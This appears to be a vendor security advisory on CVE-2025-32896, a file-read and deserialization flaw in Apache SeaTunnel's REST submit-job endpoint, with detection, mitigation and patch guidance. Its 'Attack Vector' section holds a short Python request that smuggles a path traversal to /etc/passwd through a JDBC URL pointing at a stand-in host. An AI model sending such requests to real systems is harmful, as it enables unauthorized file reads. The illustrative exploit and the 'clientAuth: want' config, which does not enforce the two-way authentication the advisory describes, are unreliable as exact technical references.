CVE-2025-32896: Apache SeaTunnel Information Disclosure

CVE-2025-32896 Overview

Unauthorized users can perform Arbitrary File Read and Deserialization attack by submitting a job using the restful api-v1 in Apache SeaTunnel versions <=2.3.10. Attackers can exploit this by accessing the endpoint /hazelcast/rest/maps/submit-job, adding extra parameters in the MySQL URL to carry out the attack.

Critical Impact
Exploitation can lead to sensitive data exposure and unauthorized data access.

Affected Products

Apache SeaTunnel <=2.3.10

Discovery Timeline

2025-06-19 - CVE-2025-32896 published to NVD
2025-07-08 - Last updated in NVD database

Technical Details for CVE-2025-32896

Vulnerability Analysis

The vulnerability exists due to insufficient validation of the parameters submitted via the REST API, allowing attackers to inject malicious parameters that enable arbitrary file reading and deserialization attacks, leading to potential data leakage.

Root Cause

Insecure deserialization and improper input validation at the /hazelcast/rest/maps/submit-job endpoint.

Attack Vector

Attackers exploit the REST API over the network, specifically targeting the endpoint allowing unauthorized operations.

python

# Example exploitation code (sanitized)
import requests

url = "http://target/hazelcast/rest/maps/submit-job"
data = {
    "param": "malicious_payload",
    "mysql_url": "jdbc:mysql://example.com:3306/db?param=../../../../etc/passwd"
}

response = requests.post(url, data=data)
print(response.text)

Detection Methods for CVE-2025-32896

Indicators of Compromise

Unusual file access patterns
Suspicious API requests to /hazelcast/rest/maps/submit-job
Unexpected exceptions or logs indicating deserialization

Detection Strategies

Monitor API access logs for unusual patterns that match known exploitation signatures. SentinelOne threat intelligence can be leveraged to alert against such attack vectors.

Monitoring Recommendations

Use SentinelOne's behavior-based detection to log all API interactions, coupled with anomaly detection to spot deviation from typical application behavior.

How to Mitigate CVE-2025-32896

Immediate Actions Required

Disable restful api-v1 if not needed
Implement network segmentation to limit access
Validate and sanitize all API inputs

Patch Information

Upgrade to Apache SeaTunnel version 2.3.11 or later, which resolves the vulnerability by introducing stricter parameter validation and implementing API security measures.

Workarounds

Enable restful api-v2 and enforce HTTPS two-way authentication to secure data in transit.

bash

# Configuration example
enableApiVersion:v2
ssl:
  enabled: true
  clientAuth: want